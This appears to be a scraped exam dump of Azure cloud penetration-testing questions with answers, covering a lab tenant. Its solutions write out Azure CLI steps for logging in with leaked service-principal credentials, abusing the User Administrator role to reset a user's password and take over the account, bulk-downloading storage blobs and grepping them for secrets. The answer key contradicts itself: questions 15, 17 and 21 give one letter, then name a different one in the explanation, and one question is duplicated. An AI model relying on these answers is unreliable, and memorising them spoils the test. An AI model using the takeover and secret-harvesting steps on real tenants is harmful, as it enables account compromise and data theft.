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NEW QUESTION # 15
The compromised service principal has Contributor access to a resource group but no direct Key Vault data- plane role. Can it immediately read Key Vault secret values?
- A. Yes, if the vault is in the same resource group
- B. Yes, Contributor includes secret read permissions
- C. No, service principals cannot access Key Vault
- D. No, Contributor does not automatically grant Key Vault secret data-plane read
Answer: D
Explanation:
Detailed Solution:
Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.
Test secret read:
az keyvault secret show \
--vault-name kv-finance-prod \
--name db-password \
--query value \
--output tsv
Expected failure:
Forbidden
Correct answer:
B). No, Contributor does not automatically grant Key Vault secret data-plane read Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.
NEW QUESTION # 16
Authenticate to Azure as a service principal using the credentials found in backup-config.json.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Use az login --service-principal
Detailed Solution:
Command:
az login --service-principal \
-u c5fba7db-5e61-45bc-8944-3cd457bb19c2 \
-p ' < client-secret > ' \
--tenant 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a
Verify:
az account show --output json
Expected important field:
{
" user " : {
" name " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,
" type " : " servicePrincipal "
}
}
This confirms you are authenticated as the App Registration/service principal.
NEW QUESTION # 17
Using the previously gained access to the Azure environment, extract an access token from the Web App's environment and use it to impersonate its Managed Identity. Which of the following roles is assigned to the Web App's Security Principal?
- A. AppService-Auditor
- B. Storage-Metadata-Reader
- C. Compute-Instance-Inspector
- D. VM-Metadata-Reader
Answer: A
Explanation:
Detailed Solution:
First identify the managed identity attached to the Web App.
az webapp identity show \
--name RnD-Tools \
--resource-group Excalibur-Resources \
--output json
You should see a user-assigned managed identity similar to:
{
" userAssignedIdentities " : {
" /subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers
/Microsoft.ManagedIdentity/userAssignedIdentities/WebAppTokenIdentity " : {
" clientId " : " cf3664d4-5cec-4feb-b0ef-88b7958809df " ,
" principalId " : " efe89e83-010f-42f6-9576-30531fa47af7 "
}
}
}
Now query the role assignments for the managed identity's principal ID:
az role assignment list \
--assignee efe89e83-010f-42f6-9576-30531fa47af7 \
--all \
--output table
The returned custom role is:
AppService-Auditor
That makes option D correct.
Final answer:
D). AppService-Auditor
NEW QUESTION # 18
A storage account allows public blob access. Enumerate containers and identify the public container that exposes backup files.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
public-backups
Detailed Solution:
Try listing containers using Azure CLI:
az storage container list \
--account-name prodreportstore01 \
--auth-mode login \
--output table
If anonymous access is allowed, test via blob endpoint:
az storage blob list \
--account-name prodreportstore01 \
--container-name public-backups \
--auth-mode key \
--output table
In a lab, you can also test the public URL pattern:
https://prodreportstore01.blob.core.windows.net/public-backups/
Expected exposed container:
public-backups
Final answer:
public-backups
NEW QUESTION # 19
You discover a storage account named prodreportstore01. Determine whether public blob access is enabled on the storage account.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
allowBlobPublicAccess: true
Detailed Solution:
Run:
az storage account show \
--name prodreportstore01 \
--resource-group rg-prod-apps-eastus \
--query " {Name:name,AllowBlobPublicAccess:allowBlobPublicAccess} " \
--output json
Expected output:
{
" Name " : " prodreportstore01 " ,
" AllowBlobPublicAccess " : true
}
This means public blob access is enabled at the storage-account level. That does not automatically mean every container is public, but it permits public container/blob exposure if configured.
NEW QUESTION # 20
A virtual machine has a system-assigned managed identity. From the VM shell, which Azure CLI command authenticates using that identity?
- A. az account get-access-token --tenant
- B. az ad signed-in-user show
- C. az login --identity
- D. az login --service-principal
Answer: C
NEW QUESTION # 21
A virtual machine has a system-assigned managed identity. From the VM shell, which Azure CLI command authenticates using that identity?
- A. az account get-access-token --tenant
- B. az ad signed-in-user show
- C. az login --identity
- D. az login --service-principal
Answer: C
Explanation:
Detailed Solution:
On an Azure VM with a system-assigned managed identity, run:
az login --identity
Then verify:
az account show
For a user-assigned managed identity, specify the client ID:
az login --identity --client-id < client-id >
Microsoft's Azure CLI documentation confirms az login --identity for system-assigned managed identities and --client-id, --object-id, or --resource-id for user-assigned identities.
Correct answer:
B). az login --identity
NEW QUESTION # 22
Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.
Detailed Solution:
Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.
az ad user update \
--id [email protected] \
--password ' NewP@ssw0rd12345! ' \
--force-change-password-next-sign-in false
Now authenticate as the target user.
az login -u [email protected] -p ' NewP@ssw0rd12345! ' Confirm the login context:
az account show
Check what Azure resources this user can see:
az resource list --output table
Check role assignments:
az role assignment list --all --output table
If the user has storage data-plane permissions, enumerate storage accounts:
az storage account list --output table
If the storage account is known from the lab chain, use it directly:
az storage table list \
--account-name excaliburstore \
--auth-mode login \
--output table
Query each table:
az storage entity query \
--account-name excaliburstore \
--table-name < table-name > \
--auth-mode login \
--output json
A faster method:
for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do echo " ===== $table ===== " az storage entity query \
--account-name excaliburstore \
--table-name " $table " \
--auth-mode login \
--output table
done
Search the output for:
Flag
SAS
token
container
storage
secret
The flag discovered in this stage is the Q7 answer.
Final answer:
Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.
[email protected].
NEW QUESTION # 23
You've gained access to the Azure environment, now dig deeper. One of the accessible resources contains a hidden flag.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
Detailed Solution:
Start by listing all Azure resources accessible to the compromised user.
az resource list --output table
The environment exposes at least these resources:
RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites
WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities The most interesting target is the App Service:
RnD-Tools
Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.
Query the App Service application settings:
az webapp config appsettings list \
--name RnD-Tools \
--resource-group Excalibur-Resources \
--output json
Look for keys such as:
Flag
secret
password
token
connectionString
clientSecret
The exposed app setting contains:
{
" name " : " Flag " ,
" slotSetting " : false,
" value " : " Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2} "
}
Final answer:
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
NEW QUESTION # 24
You have been given a breached Azure user credential for an authorized lab tenant:
[email protected]
After logging in, identify the Azure Tenant ID and Subscription ID associated with the account.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Tenant ID: 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a
Subscription ID: 5d8e44ac-24a9-43d9-9cb5-71b227a58021
Detailed Solution:
Log in with the supplied account:
az login -u [email protected] -p ' < password > ' Show the active Azure context:
az account show --output json
Expected relevant output:
{
" id " : " 5d8e44ac-24a9-43d9-9cb5-71b227a58021 " ,
" name " : " CloudCorp Security Lab " ,
" tenantDefaultDomain " : " cloudcorpsec.onmicrosoft.com " ,
" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a "
}
The tenantId is the Microsoft Entra tenant ID. The id field is the subscription ID.
NEW QUESTION # 25
You've discovered that the compromised user holds directory-level privileges. Enumerate how this role can be abused to compromise another user in the directory. What is the Job Title attribute of the compromised target user?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Detailed Solution:
As the second compromised user, enumerate directory users:
az ad user list --output table
Use a cleaner query to show names, UPNs, and job titles:
az ad user list \
--query " [].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle} " \
--output table
You should identify a target user whose profile contains a flag in the jobTitle attribute.
The important target is:
[email protected]
Her jobTitle field contains:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Because the compromised user has User Administrator, you can reset this target user's password and later authenticate as her.
Final answer:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
NEW QUESTION # 26
Carefully enumerate the accessible Azure Blob Container to locate a file containing credentials for an App Registration within the tenant. What is the Application/Client ID of the discovered App Registration?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.
Detailed Solution:
List blobs inside the accessible container:
az storage blob list \
--account-name excaliburstore \
--container-name sensitive-files \
--sas-token " $SAS " \
--query " [].name " \
--output table
Download all files locally:
mkdir blobloot
az storage blob download-batch \
--account-name excaliburstore \
--source sensitive-files \
--destination blobloot \
--sas-token " $SAS "
Search the downloaded files for application credentials:
grep -RniE " clientId|appId|applicationId|clientSecret|tenantId|secret|password " blobloot On Windows PowerShell:
Select-String -Path .\blobloot\* -Pattern " clientId|appId|applicationId|clientSecret|tenantId|secret|password " - CaseSensitive:$false A typical file may look like this:
{
" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b " ,
" clientId " : " < application-client-id > " ,
" clientSecret " : " < application-client-secret > "
}
The clientId / appId value is the answer.
Final answer:
Use the clientId / appId value found in the blob credential file.
NEW QUESTION # 27
You are reviewing Azure Activity Logs after a lab compromise. Which operation indicates that an attacker reset another user's password through Microsoft Entra ID?
- A. Update user / password profile modification
- B. Microsoft.KeyVault/vaults/secrets/read
- C. Microsoft.Storage/storageAccounts/listKeys/action
- D. Microsoft.Authorization/roleAssignments/write
Answer: A
Explanation:
Detailed Solution:
In an Entra ID abuse path, a privileged user such as User Administrator may reset another user's password. In logs, this appears as a user update operation involving the password profile.
Check audit logs in the portal:
Microsoft Entra ID # Monitoring # Audit logs
Or query via Microsoft Graph/Azure tooling depending on permissions.
The activity to look for is generally:
Update user
Modified property: passwordProfile
The other options represent different activities:
Microsoft.Authorization/roleAssignments/write = RBAC role assignment change Microsoft.Storage/storageAccounts/listKeys/action = storage account key retrieval Microsoft.KeyVault/vaults/secrets/read = Key Vault secret read Correct answer:
B). Update user / password profile modification
NEW QUESTION # 28
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